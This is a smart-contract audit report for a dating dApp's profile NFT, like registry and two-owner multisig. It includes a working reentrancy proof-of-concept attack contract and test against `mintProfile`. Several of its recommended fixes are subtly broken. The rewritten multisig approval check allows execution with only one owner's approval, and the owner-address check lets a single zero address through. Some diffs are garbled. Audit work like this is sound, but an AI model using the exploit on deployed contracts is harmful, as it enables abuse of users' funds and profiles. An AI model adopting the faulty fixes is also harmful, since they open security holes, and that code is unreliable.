Protocol Audit Report

Version 1.0

Major Audits

April 9, 2025

Protocol Audit Report

Daniel Maina(MajorAudits)

April 9th, 2025

Prepared by: Daniel Maina Lead Auditors: - Daniel Maina

Table of Contents

Protocol Summary

1. Dating Dapp allows users to mint a soulbound NFT as their verified dating profile.
2. Like someone's profile for a cost of 1 ETH - *to express interest*
3. If the like is mutual:-
    - **All previous payments - 10%** fee added to a shared multisig wallet for both to use on the first date.

Disclaimer

The Major Audits team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact			
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: `878bd34ef6607afe01f280cd5aedf3184fc4ca7b`

Scope

```
./src/
+-- LikeRegistry.sol
+-- MultiSig.sol
+-- SoulboundProfileNFT.sol
```

Roles

Owner - Deploys the protocol and can block a user of the Dapp using the `SoulboundProfileNFT::burnProfile` and can withdraw earned fees by executing `LikeRegistry::withdrawFees`.

User - Can create own profile `SoulboundProfileNFT::mintProfile` and like other profiles `LikeRegistry::likeUser`. After getting matched after a mutual like, a multisig wallet is created for matched users. One of the users can submit transaction, both can approve and execute the multisig transaction.

Findings

High

[H-1] Reentrancy Attack

The `SoulboundProfileNFT::mintProfile` is vulnerable to some form of reentrancy attack because minting `_safeMint(msg.sender, tokenId);` happens before storing on chain i.e.

SoulboundProfileNFT::mintProfile file.

```
   /// @notice Mint a soulbound NFT representing the user's profile.
    function mintProfile(string memory name, uint8 age, string memory
    ↪  profileImage) external {
        require(profileToToken[msg.sender] == 0, "Profile already exists");

        uint256 tokenId = ++_nextTokenId;
        // minting done first
@>      _safeMint(msg.sender, tokenId);

        // Store metadata on-chain
        // on-chain storage done here
        _profiles[tokenId] = Profile(name, age, profileImage);
        profileToToken[msg.sender] = tokenId;

        emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
    }
```

A user can misuse the contract by creating multiple profiles as many times as they want potentially **DoS**-ing the contract.

Proof Of Code An attacker craetes a contract to exploit this vulnerability. Since the `Soulbound-ProfileNFT` uses `_safeMint`, which calls `onERC721Received` on the recipient if the recipient is a contract. This can be exploited by "recursively" called as many times as the attacker wants.

IMPORTANT Note the console log statement in the Attacker contract

Attack contract code.

```
contract ReentrancyAttack {
    SoulboundProfileNFT public target;
    string public s_name = "EvilUser";
    uint8 public s_age = 99;
    string public s_image = "ipfs://malicious";
```

```
    uint256 public reentryCount;
    uint256 public maxReentries = 3; // To limit attack loop

    constructor(address _target) {
        target = SoulboundProfileNFT(_target);
    }

    function attack() external {
        s_name = string(abi.encodePacked(s_name, (reentryCount)));
        target.mintProfile(s_name, s_age, s_image);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        reentryCount++;
        console.log("REENTRY COUNT:", reentryCount);
        if (reentryCount < maxReentries) {
            target.mintProfile(s_name, s_age, s_image);
        }

        return this.onERC721Received.selector;
    }
}
```

The test below proves that the contract can be exploited with a ***reentrancy attack***.

ReentrancyAttackTest

```
contract ReentrancyAttackTest is Test {
    SoulboundProfileNFT public target;
    ReentrancyAttack public attacker;

    function setUp() public {
        target = new SoulboundProfileNFT();
        attacker = new ReentrancyAttack(address(target));
    }

    function testReentrancyAttackSucceeds() public {
        attacker.attack();
    }
```

```
}
```

This is a simple way to prove reentrancy occurs. The reentrancy cap is deliberately set to three to limit the number of attacks for test purposes. In a real world scenario an attacker can choose not set the limits potentially DoS-ing the contract.

Recommended Mitigation In `SoulboundProfileNFT::mintProfile`, mint the profile after storing the profile on-chain.

SoulboundProfileNFT::mintProfile file.

```
function mintProfile(string memory name, uint8 age, string memory
↪  profileImage) external {
    // @audit gas - create and error for this and use if-revert
    require(profileToToken[msg.sender] == 0, "Profile already exists");

    uint256 tokenId = ++_nextTokenId;
-   _safeMint(msg.sender, tokenId);
+   _profiles[tokenId] = Profile(name, age, profileImage);
+   profileToToken[msg.sender] = tokenId;

    // Store metadata on-chain
-   _profiles[tokenId] = Profile(name, age, profileImage);
-   profileToToken[msg.sender] = tokenId;
+   _safeMint(msg.sender, tokenId);

    emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```

To be double sure, it's a good idea to add reentrancy guards e.g. `ReentrancyGuard` from openzeppelin.

SoulboundProfileNFT::mintProfile file.

```
# imports
+import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

+contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
-contract SoulboundProfileNFT is ERC721, Ownable {
    # contract code
+    function mintProfile(string memory name, uint8 age, string memory
↪  profileImage) external nonReentrant {
-    function mintProfile(string memory name, uint8 age, string memory
↪  profileImage) external {
```

```
        // @audit gas - create and error for this and use if-revert
        require(profileToToken[msg.sender] == 0, "Profile already exists");

        uint256 tokenId = ++_nextTokenId;
-       _safeMint(msg.sender, tokenId);
+       _profiles[tokenId] = Profile(name, age, profileImage);
+       profileToToken[msg.sender] = tokenId;

        // Store metadata on-chain
-       _profiles[tokenId] = Profile(name, age, profileImage);
-       profileToToken[msg.sender] = tokenId;
+       _safeMint(msg.sender, tokenId);

        emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```

The `nonReentrant` modifier ensures that the `mintProfile` function cannot be re-entered before the first execution completes, thus preventing reentrancy attacks.

[H-2] Reentrancy Attack

The `SoulboundProfileNFT::blockProfile` is vulnerable to some form of reentrancy attack because minting `_burn(tokenId);` happens before updating state changes i.e. deleting the profiles.

Since blocking a profile is an action that only the app owner can perform; note the `onlyOwner` modifier, a reentrancy attack surface is minimized.

SoulboundProfileNFT::mintProfile file.

```
function blockProfile(address blockAddress) external onlyOwner {
    uint256 tokenId = profileToToken[blockAddress];
    // @audit gas - create and error for this and use if-revert
    require(tokenId != 0, "No profile found");

@>  _burn(tokenId);
    delete profileToToken[blockAddress];
    delete _profiles[tokenId];

    emit ProfileBurned(blockAddress, tokenId);
}
```

Recommended Mitigation Though the contract might not necessarilly be prone to a reentrancy attack, it's good practice to adhere to the CEI pattern.

SoulboundProfileNFT::mintProfile file.

```
function blockProfile(address blockAddress) external onlyOwner {
    uint256 tokenId = profileToToken[blockAddress];
    // @audit gas - create and error for this and use if-revert
    require(tokenId != 0, "No profile found");

++  delete profileToToken[blockAddress];
++  delete _profiles[tokenId];
-    _burn(tokenId);
--  delete _profiles[tokenId];
--  delete profileToToken[blockAddress];

+    _burn(tokenId);
    emit ProfileBurned(blockAddress, tokenId);
}
```

[H-3] Reentrancy Attack

The `SoulboundProfileNFT::burnProfile` is vulnerable to some form of reentrancy attack because minting `_burn(tokenId);` happens before updating state changes i.e. deleting the profiles.

Since blocking a profile is an action that only the app owner can perform; `require(ownerOf(tokenId) == msg.sender, "Not profile owner");` check restricts its execution to the profile owner hence a reentrancy attack surface is minimized.

SoulboundProfileNFT::burnProfile file.

```
function burnProfile() external {
    uint256 tokenId = profileToToken[msg.sender];
    require(tokenId != 0, "No profile found");
    require(ownerOf(tokenId) == msg.sender, "Not profile owner");

@>  _burn(tokenId);
    delete profileToToken[msg.sender];
    delete _profiles[tokenId];

    emit ProfileBurned(msg.sender, tokenId);
}
```

Recommended Mitigation Though the contract might not necessarilly be prone to a reentrancy attack, it's good practice to adhere to the CEI pattern.

SoulboundProfileNFT::burnProfile file.

```
function burnProfile() external {
    uint256 tokenId = profileToToken[msg.sender];
    require(tokenId != 0, "No profile found");
    require(ownerOf(tokenId) == msg.sender, "Not profile owner");

+   delete profileToToken[msg.sender];
+   delete _profiles[tokenId];

-   _burn(tokenId);
-   delete profileToToken[msg.sender];
-   delete _profiles[tokenId];

+   _burn(tokenId);
    emit ProfileBurned(msg.sender, tokenId);
}
```

Gas

[G-1]

Use of require statements for error handling is not gas efficient

Description In `MultiSigWallet`, `LikeRegistry` and `SoulboundProfileNFT` contracts, there is use of `require` statements for error handling. A more gas efficient way to handle this is declare errors at the top of the contract and use `if` statements to check if error causing situations occur.

Instances

MultiSigWallet contract

```
constructor(address _owner1, address _owner2) {
@>  require(_owner1 != address(0) && _owner2 != address(0), "Invalid owner
↪   address");
@>  require(_owner1 != _owner2, "Owners must be different");
    owner1 = _owner1;
    owner2 = _owner2;
}
```

```
function approveTransaction(uint256 _txId) external onlyOwners {
@>  require(_txId < transactions.length, "Invalid transaction ID");
    Transaction storage txn = transactions[_txId];
@>  require(!txn.executed, "Transaction already executed");

    if (msg.sender == owner1) {
        if (txn.approvedByOwner1) revert AlreadyApproved();
        txn.approvedByOwner1 = true;
    } else {
        if (txn.approvedByOwner2) revert AlreadyApproved();
        txn.approvedByOwner2 = true;
    }

    emit TransactionApproved(_txId, msg.sender);
}

function executeTransaction(uint256 _txId) external onlyOwners {
@>  require(_txId < transactions.length, "Invalid transaction ID");
    Transaction storage txn = transactions[_txId];
@>  require(!txn.executed, "Transaction already executed");
@>  require(txn.approvedByOwner1 && txn.approvedByOwner2, "Not enough
↪   approvals");

    txn.executed = true;
    (bool success,) = payable(txn.to).call{value: txn.value}("");
@>  require(success, "Transaction failed");

    emit TransactionExecuted(_txId, txn.to, txn.value);
}
```

LikeRegistry contract

```
function likeUser(address liked) external payable {
@>  require(msg.value >= 1 ether, "Must send at least 1 ETH");
@>  require(!likes[msg.sender][liked], "Already liked");
@>  require(msg.sender != liked, "Cannot like yourself");
@>  require(profileNFT.profileToToken(msg.sender) != 0, "Must have a
↪   profile NFT");
@>  require(profileNFT.profileToToken(liked) != 0, "Liked user must have a
↪   profile NFT");

    likes[msg.sender][liked] = true;
    emit Liked(msg.sender, liked);
```

```
    // Check if mutual like
    if (likes[liked][msg.sender]) {
        matches[msg.sender].push(liked);
        matches[liked].push(msg.sender);
        emit Matched(msg.sender, liked);
        matchRewards(liked, msg.sender);
    }
}

function matchRewards(address from, address to) internal {
    // more code on matchRewards
    (bool success,) = payable(address(multiSigWallet)).call{value:
↪   rewards}("");
@>  require(success, "Transfer failed");
}

function withdrawFees() external onlyOwner {
@>  require(totalFees > 0, "No fees to withdraw");
    uint256 totalFeesToWithdraw = totalFees;

    totalFees = 0;
    (bool success,) = payable(owner()).call{value:
↪   totalFeesToWithdraw}("");
@>  require(success, "Transfer failed");
}
```

SoulboundProfileNFT contract

```
function mintProfile(string memory name, uint8 age, string memory
↪   profileImage) external {
    // @audit gas - create and error for this and use if-revert
@>  require(profileToToken[msg.sender] == 0, "Profile already exists");

    uint256 tokenId = ++_nextTokenId;
    _safeMint(msg.sender, tokenId);

    // Store metadata on-chain
    _profiles[tokenId] = Profile(name, age, profileImage);
    profileToToken[msg.sender] = tokenId;

    emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```

```
function burnProfile() external {
    uint256 tokenId = profileToToken[msg.sender];
@>  require(tokenId != 0, "No profile found");
@>  require(ownerOf(tokenId) == msg.sender, "Not profile owner");

    _burn(tokenId);
    delete profileToToken[msg.sender];
    delete _profiles[tokenId];

    emit ProfileBurned(msg.sender, tokenId);
}

function blockProfile(address blockAddress) external onlyOwner {
    uint256 tokenId = profileToToken[blockAddress];
    // @audit gas - create and error for this and use if-revert
@>  require(tokenId != 0, "No profile found");

    _burn(tokenId);
    delete profileToToken[blockAddress];
    delete _profiles[tokenId];

    emit ProfileBurned(blockAddress, tokenId);
}
```

Recommended Mitigation MultiSigWallet contract

```
// declare errors here
error InvalidOwnerAddress();
error TwoDistinctOwnersMustSign();
error InvalidTransactinoId();
error TransactionAlreadyExecuted();
error NotEnoughApprovals();
error TransactionFailed();

constructor(address _owner1, address _owner2) {
-   require(_owner1 != address(0) && _owner2 != address(0), "Invalid owner
↪   address");
+   if(_owner1 == address(0) && _owner2 == address(0)) {
+       revert InvalidOwnerAddress();
+   }
-   require(_owner1 != _owner2, "Owners must be different");
+   if(_owner1 == _owner2) {
+       revert TwoDistinctOwnersMustSign();
```

```
+   }
    owner1 = _owner1;
    owner2 = _owner2;
}

function approveTransaction(uint256 _txId) external onlyOwners {
-   require(_txId < transactions.length, "Invalid transaction ID");
+   if(_txId >= transactions.length) {
+       revert InvalidTransactinoId();
+   }
    Transaction storage txn = transactions[_txId];
-   require(!txn.executed, "Transaction already executed");
+   if(txn.executed) {
+       revert TransactionAlreadyExecuted();
+   }
    if (msg.sender == owner1) {
        if (txn.approvedByOwner1) revert AlreadyApproved();
        txn.approvedByOwner1 = true;
    } else {
        if (txn.approvedByOwner2) revert AlreadyApproved();
        txn.approvedByOwner2 = true;
    }

    emit TransactionApproved(_txId, msg.sender);
}

function executeTransaction(uint256 _txId) external onlyOwners {
-   require(_txId < transactions.length, "Invalid transaction ID");
+   if(_txId >= transactions.length) {
+       revert InvalidTransactinoId();
+   }
    Transaction storage txn = transactions[_txId];
-   require(!txn.executed, "Transaction already executed");
+   if(txn.executed) {
+       revert TransactionAlreadyExecuted();
+   }
-   require(txn.approvedByOwner1 && txn.approvedByOwner2, "Not enough
↪  approvals");
+   if(!txn.approvedByOwner1 && !txn.approvedByOwner2) {
+       revert NotEnoughApprovals();
+   }
    txn.executed = true;
    (bool success,) = payable(txn.to).call{value: txn.value}("");
```

```
-    require(success, "Transaction failed");
+    if(!success) {
+        revert TransactionFailed();
+    }
     emit TransactionExecuted(_txId, txn.to, txn.value);
}
```

LikeRegistry contract

```
// declare errors here
error MustSendOneEth();
error ProfileAlreadyLiked();
error CannotLikeOwnProfile();
error LikerMustAlreadyHaveAProfile();
error LikedUserMustAlreadyHaveAProfile();
error NotEnoughFundsToWithdraw();
error TransactionFailed();

function likeUser(address liked) external payable {
-   require(msg.value >= 1 ether, "Must send at least 1 ETH");
+   if(msg.value < 1 ether) {
+       revert MustSendOneEth();
+   }

-   require(!likes[msg.sender][liked], "Already liked");
+   if(likes[msg.sender][liked]) {
+       revert ProfileAlreadyLiked();
+   }

-   require(msg.sender != liked, "Cannot like yourself");
+   if(msg.sender == liked) {
+       revert CannotLikeOwnProfile();
+   }

-   require(profileNFT.profileToToken(msg.sender) != 0, "Must have a profile
↪   NFT");
+   if(profileNFT.profileToToken(msg.sender) == 0) {
+       revert LikerMustAlreadyHaveAProfile();
+   }

-   require(profileNFT.profileToToken(liked) != 0, "Liked user must have a
↪   profile NFT");
+   if(profileNFT.profileToToken(liked) == 0) {
+       revert LikedUserMustAlreadyHaveAProfile();
```

```
+   }

    likes[msg.sender][liked] = true;
    emit Liked(msg.sender, liked);

    // Check if mutual like
    if (likes[liked][msg.sender]) {
        matches[msg.sender].push(liked);
        matches[liked].push(msg.sender);
        emit Matched(msg.sender, liked);
        matchRewards(liked, msg.sender);
    }
}

function matchRewards(address from, address to) internal {
    // more code on matchRewards
    (bool success,) = payable(address(multiSigWallet)).call{value:
↪   rewards}("");
-   require(success, "Transfer failed");
+   if(!success) {
+       revert TransactionFailed();
+   }
}

function withdrawFees() external onlyOwner {
-   require(totalFees > 0, "No fees to withdraw");
+   if(totalFees == 0) {
+       revert NotEnoughFundsToWithdraw();
+   }
    uint256 totalFeesToWithdraw = totalFees;

    totalFees = 0;
    (bool success,) = payable(owner()).call{value:
↪   totalFeesToWithdraw}("");
-   require(success, "Transfer failed");
+   if(!success) {
+       revert TransactionFailed();
+   }
}

// declare errors here
error ProfileAlreadyExists();
error ProfileNotFound();
error CannotLikeOwnProfile();
```

```
error LikerMustAlreadyHaveAProfile();
error LikedUserMustAlreadyHaveAProfile();
error NotEnoughFundsToWithdraw();
error TransactionFailed();

function mintProfile(string memory name, uint8 age, string memory
↪  profileImage) external {
    // @audit gas - create and error for this and use if-revert
-   require(profileToToken[msg.sender] == 0, "Profile already exists");
+   if(profileToToken[msg.sender] != 0) {
+       revert ProfileAlreadyExists();
+   }

    uint256 tokenId = ++_nextTokenId;
    _safeMint(msg.sender, tokenId);

    // Store metadata on-chain
    _profiles[tokenId] = Profile(name, age, profileImage);
    profileToToken[msg.sender] = tokenId;

    emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

function burnProfile() external {
    uint256 tokenId = profileToToken[msg.sender];
-   require(tokenId != 0, "No profile found");
+   if(tokenId == 0) {
+       revert ProfileNotFound();
+   }

    _burn(tokenId);
    delete profileToToken[msg.sender];
    delete _profiles[tokenId];

    emit ProfileBurned(msg.sender, tokenId);
}

function blockProfile(address blockAddress) external onlyOwner {
    uint256 tokenId = profileToToken[blockAddress];
-   require(tokenId != 0, "No profile found");
+   if(tokenId == 0) {
+       revert ProfileNotFound();
+   }
```

```
    _burn(tokenId);
    delete profileToToken[blockAddress];
    delete _profiles[tokenId];

    emit ProfileBurned(blockAddress, tokenId);
}
```

Information

[I-1]

The contracts `src/LikeRegistry.sol`, `src/MultiSig.sol` and `src/SoulboundProfileNFT.sol` use solidity version `^0.8.19` that has some known servere issues like:-

- VerbatimInvalidDeduplication
- FullInlinerNonExpressionSplitArgumentEvaluationOrder
- MissingSideEffectsOnSelectorAccess.

Recommended Mitigation use later solidity versions like `0.8.23` that has patched fixes for these issues.

[I-2]

The contracts `LikeRegistry::profileNFT` should be set to immutable because it's not changed anywhere else after deployment. Immutable variables are also more gas efficient.

Recommended Mitigation Make `LikeRegistry::profileNFT` immutable i.e.

```
contract LikeRegistry is Ownable {
    struct Like {
        address liker;
        address liked;
        uint256 timestamp;
    }

    SoulboundProfileNFT public immutable profileNFT;
    // more contract code
}
```

[I-3]

The documentation states that each profile like costs `1 eth` but the require statement in `LikeRegistry::likeUser`, i.e. `require(msg.value >= 1 ether, "Must send at least 1 ETH");` checks that `msg.value` must be greater or equal to `1 ether`.

Question Specify which is right.